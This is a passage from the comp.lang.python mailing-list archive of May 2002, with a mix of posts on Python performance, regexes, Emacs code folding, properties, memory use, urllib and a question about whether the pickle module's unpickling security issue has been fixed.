HP printers. It's pretty harsh and constrained. They don't have floating point and have even harsher real-time budgets. A further example is the millions of extremely tiny CPUs being deployed. E.g., one project had a CPU that lived in a hand-held probe. It had to process thousands of temperature readings per second and apply a complex transformation to the data. In both cases, the additional overhead of a language like Python would be completely intolorable. For less time critical applications, like serving up CGI or preparing reports or other sys admin functions, Python surely is plenty fast enough. But it's wrong to extrapolate your limited experience in that domain to all or "many" other situations. If I may offer a personal observation: It kills me when someone's strongest argument that something simply cannot be is that he "hasn't seen" or "can't think of" any contradictory data. Just because you can't THINK of it is usually NO grounds to object. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From mark at mceahern.com Wed May 8 22:53:07 2002 From: mark at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 21:53:07 -0500 Subject: comparing lists In-Reply-To: <20020508181700.A1223@unpythonic.net> Message-ID: [jepler at unpythonic.net] > Here's an implementation for 2.2 (tested against 2.3a0 CVS): [...] Thanks, that's very helpful! // mark From kragen at pobox.com Sat May 25 14:05:39 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 14:05:39 -0400 Subject: Emulating Pascal input References: Message-ID: <83u1owje6k.fsf@panacea.canonical.org> Steven Majewski writes: > On 25 May 2002, Giles Brown wrote: > > result = [] > > for field, converter in zip(fields, converters): > > result.append(converter(field)) > > return result > > The above is done better as: > return map(converters, fields) In what version of Python? In 2.1.1 I get an error trying that: >>> map([str, str, lambda x: x * 3], [1, 2, 3]) Traceback (most recent call last): File "", line 1, in ? TypeError: object of type 'list' is not callable I guess you meant map(lambda x, y: x(y), converters, fields), and I agree that would be better. I'm quite surprised to find that lambda x, y: x(y) doesn't have a name in the operator module; 'apply' is almost right, but not quite. The listcomp equivalent would be [x(y) for x, y in zip(converters, fields)] and I think that's even better. From theller at python.net Tue May 14 09:03:38 2002 From: theller at python.net (Thomas Heller) Date: Tue, 14 May 2002 15:03:38 +0200 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> <3CDEB9F4.3307092E@usc.edu> <3CDEF6AF.7030802@skippinet.com.au> <3CE050D5.A04790B1@usc.edu> <3CE08209.9040908@skippinet.com.au> <3CE10A46.A779860F@usc.edu> Message-ID: "Rich Pinder" wrote in message news:3CE10A46.A779860F at usc.edu... > Thanks Thomas for your helping here.... > > Re the keys - the current setup (remember, I did what Mark suggested, > and Python was installed as root) is: > > HKEY_CURRENT_USER: No python keys > HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\2.2\InstallPath is set > to: 'c:\python' (the root of the install) > > There also is a sub'key in that key: > HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\2.2\InstallPath\InstallGroup > is set to: 'Python 2.2' > > When I get back to los angeles, I'll try the installs on another > computer - just to rule out anything else going wierd with this laptop. > > > build info again: > C:\users\default>python > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) Hm. You are using Python 2.2? In an earlier message you wrote > 05/11/2002 08:29p 888,416 PyXML-0.7.1.win32-py2.1.exe > 05/11/2002 08:47p 1,750,709 4Suite-0.11.1.win32-py2.1.exe > 05/11/2002 09:03p 54,871 gvib-1.8.win32-py2.1.ex All these files are for Python 2.1 (or Python 2.1.x) Confused, Thomas From brian at sweetapp.com Mon May 6 16:18:49 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 6 May 2002 13:18:49 -0700 Subject: XML: minidom toxml() does not work for non English files! :-( In-Reply-To: <20020506130307.A12413@ActiveState.com> Message-ID: <002501c1f53b$3eac2830$445d4540@Dell2> I have no idea what the problem is, but the coercion to string strikes me as sloppy. Does anyone actually believe that the following (from PythonLabs Python 2.2) is reasonable? >>> StringIO.StringIO([1,2,3]).read() '[1,' Also, - if type(buf) is not types.UnicodeType + if not isinstance(buf, types.UnicodeType) Cheers, Brian From mgilfix at eecs.tufts.edu Thu May 16 21:50:09 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Thu, 16 May 2002 21:50:09 -0400 Subject: Python & CuteFTP TE COM Object Anyone?! In-Reply-To: ; from pferris@pferris.com on Thu, May 16, 2002 at 08:03:01PM -0500 References: Message-ID: <20020516215009.C20151@eecs.tufts.edu> You mind find it interesting to check out: http://ftpcube.sourceforge.net. It's a GUI ftp client written entirely in python. No scripting support yet but it would make a cool feature. -- Mike On Thu, May 16 @ 20:03, Peter F. Ferris wrote: > Hi! > > Does anybody on the list have any experience with the Windows GUI app > "CuteFTP" (Pro or not) and scripting with Python. There's a white paper > (http://www.cuteftp.com/files/cuteftpprowp.pdf) that mentions that one can > use Python to interface to the (CuteFTP) Transfer Engine. However, the only > examples given are for VBS & Perl. > > Here's the VBS code: > =-=-=-=-=-=-=-=-=-= > ?Creating a connection object and assign it to the variable > Set MySite = CreateObject("CuteFTPPro.TEConnection") > > Can anyone give me a Python example using this COM object? > > Or, better yet, if you have a CuteFTP ala Python script you wouldn't mind > sharing (be sure to edit out any logins/passwords! ;-) ). > > > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (pferris) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From starx at pacbell.net Thu May 2 07:18:31 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 2 May 2002 11:18:31 GMT Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> Message-ID: Patrick W || Tue 30 Apr 2002 08:05:54p: > rmelson at gilia.nmsu.edu ("Bob Melson") writes: > >> If you're asked to build a house, you certainly don't confine >> yourself to a single tool -- you use the tools appropriate to the >> job you have to do; why should it be different with scripting >> languages? > > Because the "right tool for the right job" approach is wrong in this > context. It should apply to the choice of language _categories_, not > languages _within_ a category. There are better things to do with time > and mental energy than learn a dozen different ways of doing the same > thing. > > If it took a minimum of six months to learn how to push two different > brands of wheelbarrow, can you imagine an experienced builder saying > to his apprentice: learn both? <> [Various other arguments] I've been thinking about this a bit today, and I think maybe a new take on this metaphor would fit better. How about this, where we are restricted to 'things that attach pieces of wood to each other': Python, perl, ruby, lua, etc, are all various brands of glue. This kind of tool was created later because of the more involved producer-side work and knowledge required, but are now the easiest to get ahold of and the easiest to start using. You don't need much education to stick two pieces of wood together with them =). C++ and Java are the other side of modernization in tools: highly accurate plainer-jointers that produce beautiful and seemless interfaces that fit together effortlessly-- but they take a large amount of put-out to get set up and running properly and as they are huge, powerful machines take a lot of skill to use _just right_ and create good works with. You can still hurt yourself with these things. Algol, pascal, ada, and all the languages that are a little safer than C but of a similar type are different kinds of hammers and nails. You can do good work with these things, but you can hit your thumb if you're clumsy. (I've never used any of these btw...) C itself is a framing nailer. The end results are about the same as a hammer, but there is more power there, and you can shoot yourself in the hand pretty easily. =) Assembly is like a small ball-peen and finish nails, if used appropriatly, or like a 100 pound mallet if not =). Machine language is like trying to make a pocketwatch with a knife, some rocks, and some string. McGuiverisms =). The point is, there is a time for most of the types of tools. Only a grand-master woodcrafter, or an old one who has lived through shifts in technology and politics, would learn many different brands of a single tool to a great depth. The rest of us just become proficient in one or occasionaly two and muddle through when required to use a different brand =). Ah, gn'ight -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From zopestoller at thomas-guettler.de Tue May 14 11:17:25 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Tue, 14 May 2002 17:17:25 +0200 Subject: RegEx References: Message-ID: <3CE12A85.1030105@thomas-guettler.de> x wrote: > I have a quick regular expression question. > > I'm trying to substute all parathesis -- both left and right -- with a > space. I've tried: > > no_parans = re.compile('(|)', count = 99) > > scan_line = no_parans.sub(' ', scan_line) > > > This doesn't work. It had the effect of inserting a space before every > character, including the paranthesis. > > What is the solution? Parenthesis are special in regular expressions. They are used for grouping. Use re.compile(r'\(|\)', ...) to match paranthesis. thomas From Grant_member at newsguy.com Fri May 31 10:49:30 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 31 May 2002 07:49:30 -0700 Subject: semi-concatenated strings References: Message-ID: In article , "Fredrik says... > >Grant Griffin wrote: >> >> I discovered today that strings can sometimes be concatenated >> without using a "+": > >had you read the language reference, you might have discovered >this long ago: > > 2.4.2 String literal concatenation > http://www.python.org/doc/current/ref/string-catenation.html > Whyever would I read the language reference?--that would deny you the pleasure of spanking, and me the pleasure of getting spanked . sadists-and-masochists-have-a-symbiotic-relationship-ly y'rs, =g2 _________________________________________________________________________ Grant R. Griffin g2 at dspguru.com Publisher of dspGuru http://www.dspguru.com Iowegian International Corporation http://www.iowegian.com From mikeb at mitre.org Sat May 11 19:43:08 2002 From: mikeb at mitre.org (Mike Brenner) Date: Sat, 11 May 2002 19:43:08 -0400 Subject: Has Red Hat helped or hurt? Message-ID: <3CDDAC8C.5746A612@mitre.org> Sean > ... Red Hat has a policy that they won't do a major number upgrade within a major number of their distro. So, going from Red Hat 7.2 to 7.3 won't produce an upgrade of Python from 1.5.3 to 2.2.1 ... Just curious: How many minutes, nay how many seconds, did it take the Python community to ship Red Hat a Python 1.7 release that happens to be identical to Python 2.2.1, except the label on the CD? From loewis at informatik.hu-berlin.de Sun May 5 13:08:18 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 05 May 2002 19:08:18 +0200 Subject: making python scripts backwards compatible References: <008601c1f3c9$4ed93b80$445d4540@Dell2> Message-ID: "James J. Besemer" writes: > You don't have to test or support them all. Just name one version > guaranteed to work, e.g. the one you did the development under. This should > not be a hardship for anybody. For the standard Python distribution, there is a global statement that it only works with the Python release it came with: no earlier version, no later version. That may not be in the documentation, so I state it here. There are a few known exceptions: SRE works with Python 1.5 and later (up to the version it ships with); xml.* works with Python 2.0 and later (used to be 1.5.2) Regards, Martin From peter at engcorp.com Thu May 30 21:58:49 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 21:58:49 -0400 Subject: matching one time through a loop References: Message-ID: <3CF6D8D9.6977AAF5@engcorp.com> (Previous version cancelled after an accidental "send". :-( ) "David K. Trudgett" wrote: > > On Friday 2002-05-31 at 09:55:04 +1000, Delaney, Timothy wrote: > > > Seriously here ... by not having regular expressions be an integral part of > > the language, I believe they become much more understandable. It is always > > There might be something in that. However, having learned Perl before > Python, I just find it really clunky and slow to do regex stuff in > Python. I find that I miss the power that direct language syntax > support for regexes gives me. There's obviously a value judgement > there, of course: one needs to weigh up ease and speed of programming > with other factors like cleanness, readability, and so on. Obviously, > Python comes down on the cleanness/readability side, at the expense of > programmer productivity in text processing. I believe "programmer productivity" is significantly _improved_ when using Python, _because of_ the emphasis on readability. A productivity measurement needs to consider not only the time to type code but also the time to revise the design repeatedly (assuming code-and-fix, which 95% of programmers use) and the time to maintain the code. Code maintenance is a far greater portion of the effort than mere typing, and I really don't believe any minor time savings provided by Perl offset one's losses during maintenance. (As you suggest with "value judgement", this could be a religious issue. I happen to believe it is not, however, but could be demonstrated with a simple study; to my knowledge no one has done this yet.) -Peter From gb at cs.unc.edu Thu May 30 17:39:15 2002 From: gb at cs.unc.edu (gb at cs.unc.edu) Date: 30 May 2002 17:39:15 -0400 Subject: Code Folding with Emacs Message-ID: It is really easy to get code folding going with Python mode in Emacs. Just use the builtin outline-minor-mode and set up the outline-regexp and outline-level to work with Python. It really works well for me and has a nice menu or keyboard interface as well. Here is what I put in my .emacs to make it work. gb ;; setup python mode (setq auto-mode-alist ; trigger python mode automatically (cons '("\\.py$" . python-mode) auto-mode-alist)) (setq interpreter-mode-alist (cons '("python" . python-mode) interpreter-mode-alist)) (autoload 'python-mode "python-mode" "Python editing mode." t) ; add my customization (add-hook 'python-mode-hook 'my-python-hook) ; this gets called by outline to deteremine the level. Just use the length of the whitespace (defun py-outline-level () (let (buffer-invisibility-spec) (save-excursion (skip-chars-forward "\t ") (current-column)))) ; this get called after python mode is enabled (defun my-python-hook () ; outline uses this regexp to find headers. I match lines with no indent and indented "class" ; and "def" lines. (setq outline-regexp "[^ \t]\\|[ \t]*\\(def\\|class\\) ") ; enable our level computation (setq outline-level 'py-outline-level) ; do not use their \C-c@ prefix, too hard to type. Note this overides some python mode bindings (setq outline-minor-mode-prefix "\C-c") ; turn on outline mode (outline-minor-mode t) ; initially hide all but the headers (hide-body) ; I use CUA mode on the PC so I rebind these to make the more accessible (local-set-key [?\C-\t] 'py-shift-region-right) (local-set-key [?\C-\S-\t] 'py-shift-region-left) ; make paren matches visible (show-paren-mode 1) ) From mlh at vier.idi.ntnu.no Fri May 10 09:42:28 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 10 May 2002 13:42:28 +0000 (UTC) Subject: type(xmlrpclib.Fault.faultCode)... Message-ID: When using xmlrpclib I've been checking whether a Fault's faultCode equals (e.g.) '1', '2', etc. -- but I recently noticed that the faultCode was in fact an integer in at least one occasion. The documentation states that it is a string, and some quick browsing of the source code hasn't made me any wiser on the subject... Could someone confirm either behaviour as standard/current behaviour of xmlrpclib? (I'm sure this could be caused by a bug in my code, but I haven't been able to find it in that case...) -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From aleax at aleax.it Wed May 1 04:28:02 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 08:28:02 GMT Subject: Initializing a list with copies References: <6OAz8.1251$Au5.843@atlpnn01.usenetserver.com> Message-ID: Steve Holden wrote: ... > So, while I thought the change had been made (because type(int) == > type(type)) the documentation seemed to say otherwise. This is the kind of Not so much the paragraph you quote, but the fact that the whole page is titled "functions", yes. Fred Drake is doing a heroic job but he can't do it all on his own! Why not offer context-diffs to the docs to help him out? Maybe just changing the section title to "built-in functions and types" and inserting a small paragraph reminding the reader that int (and complex, dict, list, etc etc), while callable just like functions, are in fact type objects so they may also be subclasses, used in isinstance, etc. > Types, of course, are callables, so it's reasonable to represent them as > functions, but it's interesting that the new types' constructors are so > explicitly polymorphic across the "sensible" arguments. The documentation > is unchanged in the CVS tree. So help it change, if you think it can be enhanced reasonably easily. You are an excellent writer, clear and concise, with an uncanny ability to address the reader's typical concerns/doubts/misunderstandings. Helping enhance Python's docs is just as important (some of us would say, MORE important, since most hackers much prefer writing code than docs:-) as helping enhance Python's interpreter and library code. Alex From dalke at dalkescientific.com Tue May 14 13:31:37 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 14 May 2002 11:31:37 -0600 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CE05339.6660B6BA@engcorp.com> Message-ID: Chris: > Peter Hansen wrote: ... >> Is it just a gut feeling, or do you really have specific examples on >> which you base these claims? > >Well, in writing Perl modules I could continue to use(to access a data >member of an object, stored as a hash): .. >And use this as: > > print $guy->name("John"); > >Or, I could try out lvalue subroutines and use something like: > .. > print $guy->name="John"; That still follows under "gut feeling" since Python has almost identical mechanisms, and then some, so your "specific example" is actually a counter example since there are more ways to do it in Python. (I could also add __setattribute__ to the mix.) # NOTE: I consider this to be an ugly style and advise people # they they shouldn't use it. I write it to make it similar to # the Perl code. class Person: def name(self, name = None): if name is not None: self.name = name return self.name print guy.name("John") # This is much more typical Python class Person: def __init__(self, name = None): self.name = name guy = Person() guy.name = "John" print guy.name # This reimplements the attribute lookup using the older-style # __getattr__/__setattr__ hooks. class Person: def __init__(self, name = None): self._name = name def __getattr__(self, key): if key == "name": return self._name return getattr(self, key) def __setattr__(self, key, value): if key == "name": if value == "": raise TypeError("Name must have at least one letter") self._name = value return self.__dict__[key] = value guy = Person() guy.name = "John" print guy.name # This is a new (2.2) way to implement attribute lookup class Person(object): def _getName(self): return self._name def _setName(self, val): if val == "": raise TypeError("Name must have at least one letter") self._name = val name = property(_getName, _setName) >>> p = Person() >>> p.name = "John" >>> print p.name John >>> p.name = "" Traceback (most recent call last): File "", line 1, in ? File "", line 6, in _setName TypeError: Name must have at least one letter >>> Andrew dalke at dalkescientific.com From max at alcyone.com Tue May 21 02:37:04 2002 From: max at alcyone.com (Erik Max Francis) Date: Mon, 20 May 2002 23:37:04 -0700 Subject: Q: going from tuple to comma-separated list? References: Message-ID: <3CE9EB10.FD26DFE9@alcyone.com> Damian Menscher wrote: > I've got a function that takes an arbitrary number of parameters. > (This is the Gnuplot.plot() function.) I don't know until runtime > how many things I want to send to it. So I thought I'd be clever > and do it as > plotdata = () > for i in range(stuff): > plotdata = plotdata + (function(i),) > Gnuplot.plot(plotdata) > > But the plot function is dying due to: > TypeError: bad argument type for built-in operation If f is a function and args is a tuple of the arguments you want to send it, try: apply(f, args) or just f(*args) -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From j.spies at hccnet.nl Wed May 29 12:32:50 2002 From: j.spies at hccnet.nl (Jaap Spies) Date: Wed, 29 May 2002 17:32:50 +0100 Subject: Python @ Education: What are your problems? References: <3CF48E09.8C331FEA@gmx.de> Message-ID: <3CF502B2.20606@hccnet.nl> Ingo Linkweiler wrote: > Hello, > > are you using python for teaching programing? > > I am just writing a diploma paper about python and want to know your > experiences with python. > > What do you like when teaching python? > For example: > - Easy readable syntax > - High Level language > - Lists, Tupels, Dictionaries included > - interpreter: Everythink can be tested > - Many tools available > ..... > > AND MORE IMPORTANT: > What are your problems with python? Are pupils/students having any > problems or often asked questions? > What do you dislike at python? > > For example: > - When teaching C or Pascal, newbies do not know, where to set a ";" and > where not. Any similar problems with Python? > - Why must I set a ":" after "if" or "for" ? " if x == y : " > ..... > > I hope you have many suggestions. > > regards, > > Ingo > > You may look at: http://www.python.org/sigs/edu-sig/ Regards, Jaap From pyth at devel.trillke.net Thu May 30 09:53:47 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 30 May 2002 15:53:47 +0200 Subject: backward/forward compatibility in PYTHON? In-Reply-To: ; from mutsuura@mutsuura.com on Thu, May 30, 2002 at 09:38:22AM -0400 References: Message-ID: <20020530155347.K17248@prim.han.de> Attila Horvath wrote: > Dear PYTHON community, > > I'm new to PYTHON but am considering it for a new project development. As > with any new language system I have a key concern: > > How is backward (and forward) compatibility resolved in PYTHON? In many ways :-) backward compatibility: - several years (commonly 2) of fading out deprecated features. - Deprecation warnings if a feature could be removed in the next version. - if you know you are using e.g. python2.2 features you might want to code a one-line assertion like asssert(sys.version_info[:2]>=(2,2)) - 'good practices' like not relying on the current cvs python or weird sideeffects :-) forward compatibility: - new features are introduced via the from __future__ import xyz construct. This keeps your code at least parsable and usually semantically the same. - it should take two major releases to break old code if the old code had no DeprecationWarnings. Also if you want something to work from python1.5.2 to python2.3 you may have to learn about the common feature set of these versions. python3000 (or python3) may be a completly different matter of course :-) holger From loewis at informatik.hu-berlin.de Fri May 10 03:30:17 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 10 May 2002 09:30:17 +0200 Subject: Can string format operator help me? References: <284b44c2.0205092224.523bccca@posting.google.com> Message-ID: harisri at bigpond.com (Srihari Vijayaraghavan) writes: > What I want to achieve is something like this: > 0 > 10000 > .. > 100000 You should use '%6d' for that. Regards, Martin From paul at boddie.net Thu May 23 11:43:11 2002 From: paul at boddie.net (Paul Boddie) Date: 23 May 2002 08:43:11 -0700 Subject: Compiling python2.2.1 on redHat 6.1 - doesn't work References: <23891c90.0205220343.4aa581c8@posting.google.com> Message-ID: <23891c90.0205230743.7ea59255@posting.google.com> matthew.russell at securetrading.com (Matt Russell) wrote in message news:... > has anyone else had this problem? I would be very suprised if no one > else out there has not tried to compile Python2.2.1 on RedHat 6.1!! I'll try and have a look in the next few days, at least. It's certainly strange that this problem never came up before, but then reading the SF bug report and the resulting discussion, and putting it together with various autoconf and configure experiences of my own, and I can imagine the nightmare that may have come about. Paul From WebberR at investec.co.za Fri May 31 04:13:25 2002 From: WebberR at investec.co.za (Russel Webber) Date: 31 May 2002 01:13:25 -0700 Subject: TIBCO integration Message-ID: <6325a617.0205310013.3474a38a@posting.google.com> Hi Are there any TIBCO integration modules available/in development for Python. The only one I've been able to locate is rvpython, but no development seems to have been done on it sonce June 2000 and all the documentation is in german. Thanks Russel From tdelaney at avaya.com Thu May 30 22:10:40 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 12:10:40 +1000 Subject: semi-concatenated strings Message-ID: > From: Peter Hansen [mailto:peter at engcorp.com] > > And which has both embedded "\n" newlines and many more leading > spaces before each line... That's why I would bind it to a name first - that allows me to preprocess the query before passing it in. I would much rather write it so it is readable, then process it for the database, than the other way around. sql = """ select cities.city, state, country from cities, venues, events, addresses where cities.city like %s and events.active = 1 and venues.address = addresses.id and addresses.city = cities.id and events.venue = venues.id """ sql = string.split(sql) sql = string.join(sql, ' ') sql = string.strip(sql) rows = self.executesql(sql, (city,)) Skip also asked why I would bind the statement to a name. For a query of this size, I find it easier to read - the sql query is separate and (to my eye) cleaner than having the literal as a function parameter. Plus it uses much less horizontal white space. Tim Delaney From MichaelB at firstlogic.com Wed May 22 15:50:45 2002 From: MichaelB at firstlogic.com (Michael Bauers) Date: Wed, 22 May 2002 14:50:45 -0500 Subject: newbie question Message-ID: <50B466C3F4A0D5118CCA00B0D0681E3202766984@exchange-lax1.firstlogic.com> Why doesn't the following work? How is 'stdin' different than objects returned from 'file()' ? import sys x = sys.stdin.xreadlines() From jadestar at idiom.com Sun May 19 04:30:39 2002 From: jadestar at idiom.com (James T. Dennis) Date: 19 May 2002 08:30:39 GMT Subject: Extending python with C References: Message-ID: Fernando P?rez wrote: >> Hey Henrik, >> You've put together a nice example. Thanks for taking the time to write >> this >> up. I thought I'd also give an example of how to do the same thing using >> weave which allows you to mix C++ directly into Python. One question about weave; does it require a C compiler at run-time? How does weave work? Does it pass the C out to a compiler, (and presumably to the set of Python headers and libraries)? Does it save the resulting .so file just like Python saves .pyc? (It should be obvious that I haven't tried downloading and using this yet; I'd like to hear a little more about it before trying it). From skip at pobox.com Tue May 21 21:24:30 2002 From: skip at pobox.com (Skip Montanaro) Date: Tue, 21 May 2002 20:24:30 -0500 Subject: Is python really slow? In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> References: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> Message-ID: <15594.62286.966266.374450@12-248-41-177.client.attbi.com> Bjorn> I'm not a Perl expert, but from what I hear it is considerably Bjorn> harder to extend/embed Perl (someone please correct me if I'm Bjorn> wrong ). I've heard that interfacing Perl & C is challenging. Still, there is Inline::C. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sun May 26 16:14:23 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 26 May 2002 22:14:23 +0200 Subject: Pickle trojan security issue, fixed? Message-ID: Some time ago, I learned that the pickle module has (had?) a security issue. See bug report at: http://sourceforge.net/tracker/?group_id=5470&atid=105470&func=detail&aid=471893 At the time, when I tried to run the exploit mentioned in the bug report (exploit: http://www.nightsong.com/phr/python/pickletest.py ) it went off: irmen at atlantis:~ > python2.0 pickletest.py Penguin explodes--boom, you're dead! However when I run it with python 2.1.1, i get this: irmen at atlantis:~ > python pickletest.py Traceback (most recent call last): File "pickletest.py", line 11, in ? pickle.loads(x) File "/usr/local/lib/python2.2/pickle.py", line 985, in loads return Unpickler(file).load() File "/usr/local/lib/python2.2/pickle.py", line 596, in load dispatch[key](self) File "/usr/local/lib/python2.2/pickle.py", line 781, in load_inst raise UnpicklingError('%s is not safe for unpickling' % pickle.UnpicklingError: __main__.penguin is not safe for unpickling So, has the security issue been fixed? This is important for me because my distributed object system Pyro uses pickle as a wire protocol. Pyro is (was?) vulnerable to the above mentioned trojan attack because it unpickles arbitrary strings from a socket. Irmen PS. FYI, for Pyro 3.0 it will be possible to choose Gnosis' xml_pickle as wire protocol instead of pickle. No known security issues with that. From aleax at aleax.it Fri May 10 02:24:33 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 06:24:33 GMT Subject: win32 application scripting References: Message-ID: Eric Hagemann wrote: > hey all, > I am looking to automate a win32 application (that does not use COM). > Is there a module with a function similar to popenX that would allow me to > send characters to the application after it is started ? > > I have tried the os.popen and win32api.popen but no luck. There's a SendKeys method in an object (WShell?) of Microsoft's Windows Scripting Host, which you could use. But you do need COM in your Python to access WSH. There's a recipe on the Python online Cookbook at aspn.activestate.com, I think -- search for SendKeys. Alex From kwokng at earthlink.net Sat May 4 04:51:18 2002 From: kwokng at earthlink.net (Billy Ng) Date: Sat, 04 May 2002 08:51:18 GMT Subject: Insert blob data to MySQL References: Message-ID: This is very informative. Thanks guys! I have one more question. If the DOM object in the blob field is created by java, can python uses it? Billy Ng From jeremy at alum.mit.edu Thu May 9 17:46:50 2002 From: jeremy at alum.mit.edu (Jeremy Hylton) Date: 9 May 2002 14:46:50 -0700 Subject: urllib, urllib2, httplib -- Begging for consolidation? References: Message-ID: brueckd at tbye.com wrote in message news:... > On 9 May 2002, Paul Boddie wrote: > > > For me, what I've mostly been doing with urllib is to connect to > > locations and to download files. Indeed, having this functionality in > > the standard library is incredibly useful when a server > > Right, and I'm not in any way advocating the elimination of this, only > that more of the meat of the functionality be built in the corresponding > protocol libraries (and not urllib), on top of which is built a thin, > general-purpose API that does simple "protocol triage" if you will. It's not at all clear that you want all possible logic associated with processing HTTP inside httplib. Rather, specific http-based applications may want to use some set of the features. Thus, I think it's helpful to have a separation between the base protocol module and a higher level application toolkit. That's the rationale for having urllib and urllib2 separate from httplib, I believe. The rationale for having urllib2 in addition to urllib is flexibility. urllib requires applications to get exactly one set of features; urllib2 lets an application pick the features it needs. Jeremy From listuser at nicetomeetyou.to Mon May 13 11:05:04 2002 From: listuser at nicetomeetyou.to (Markus) Date: Mon, 13 May 2002 17:05:04 +0200 Subject: How to create a web interface for a daemon written in Python? Message-ID: Hi all, we're using a Python script as a watchdog for another process. The watchdog is running in console mode, so it is necessary to access the terminal it is running on to operate the program. I'm thinking about a remote control feature via a web interface, running the script in the background. The interface simply has to provide access to the 3 basic functions of the watchdog script, i.e. "start", "stop" and "reset", all of which don't need any parameters. Can anybody give me a hint about the best way to do this? (Or even better, a hint to a working implementation of something similar ...) TIA, Markus From mwh at python.net Tue May 14 07:31:44 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 14 May 2002 11:31:44 GMT Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Message-ID: Siegfried Gonzi writes: > Is there an upper memory limit which Python cannot handle? Your OS's. > I have a calculation (external C function included with the help of > SWIG; external Fortran function included with the help of F2PY; some pre > processed Lisp files; a dozen of binary satellite data files). One run > of the code takes about 1 hour. The execution time is not the problem! > Memory is not a problem too, but: it consumes after 1 hour 200 MB of > RAM. If I start the calculation in the DOS shell I can see that Python > gives memory back to the OS (I got the advice to start the calculation > from the DOS line), but this is only for 2 runs the case. If I start the > calculation for a third time I have to see that Python wreaks havoc. A > calculation would then take many, many hours due to the Python memory > management and at the end the system is down and I would have to restart > it (even on a newer laptop rebooting is not very quick and hence > anoying). What variant of Windows are you running? I believe Tim has a large collection of ways to make 98's allocator (at least) go insane. > I need some advice for my further strategy (I am about to write my > simulations in Fortran 90/95 and use Python only for simple plotting > jobs): > > a) Has anybody ever experienced the same problem?; I am not angry with > the execution time I am sick of the poor memory management behavior. Nope, but I've never slung the amounts of data you're slinging and never on Windows. > b) Is there semantically speaking a difference between automatic memory > managament and garbage collection? I wouldn't say so. > c) Dose Python's garbage collector just simply collect and dispose all > the memory junks at the end of the calculation (and hence once) or does > Python collect garbage and at the same time removing old memory? I'm not sure what you mean here (though I have this wonderfil image of DIMMs flying out of a box in all directions...). I suspect you need to ask whoever wrote the allocator you're using. Python will free() (unless you're using pymalloc...) any objects it collects. At any rate, if the OS can't claim back a processes memory when said process terminates, it's definitely Time To Get A Real OS. Even Macs can do this now... [...] > d) Has anybody experience with Python on Linux or free BSD? Yes. > I would be ready to install Linux in order to get a better Python > behavior. I doubt you'd get this level of bogosity. Summary: if you're on 95/98(/Me?), get off, right now. Cheers, M. -- ARTHUR: Why should he want to know where his towel is? FORD: Everybody should know where his towel is. ARTHUR: I think your head's come undone. -- The Hitch-Hikers Guide to the Galaxy, Episode 7 From maxm at mxm.dk Mon May 13 06:56:58 2002 From: maxm at mxm.dk (Max M) Date: Mon, 13 May 2002 12:56:58 +0200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> Message-ID: <3CDF9BFA.5030107@mxm.dk> Alex Martelli wrote: > Imagine two painters. One spends half his time at arts supplies stores, > checking out the tiniest differences between different models of > brushes, different brands of paint, canvases prepared with minutely > distinct processes yielding minute roughness and absorption differences, > and so on. Well I sometimes play a little game for myself where I try to refactor short snippets of code which does some common idioms. I then try different approaches to my code. Here below is a few simple pieces that does the same thing. From a list of objects they render a list in html. The funny thing I have found out is that the most elegant is often also the fastest. Another thing is that if you try to refactor too much and really live out the "Don't Repeat Yourself" slogan, your code will get harder to read and maintain. Also it works best if you use different "shades" of Python to solve specific "shades" of problems that are quite similar. So there really is a lot of craftsmanship in writing good code. regards Max M ################################################################3 # object.id # object.title # object.summary # object.objectType # listOfObjects # List of objects # typical code from a new programmer (603 chars) def listView(listOfObjects): result = '' for object in listOfObjects: if (object.objectType = 'folder' or object.objectType = 'content holder': result = result + '' 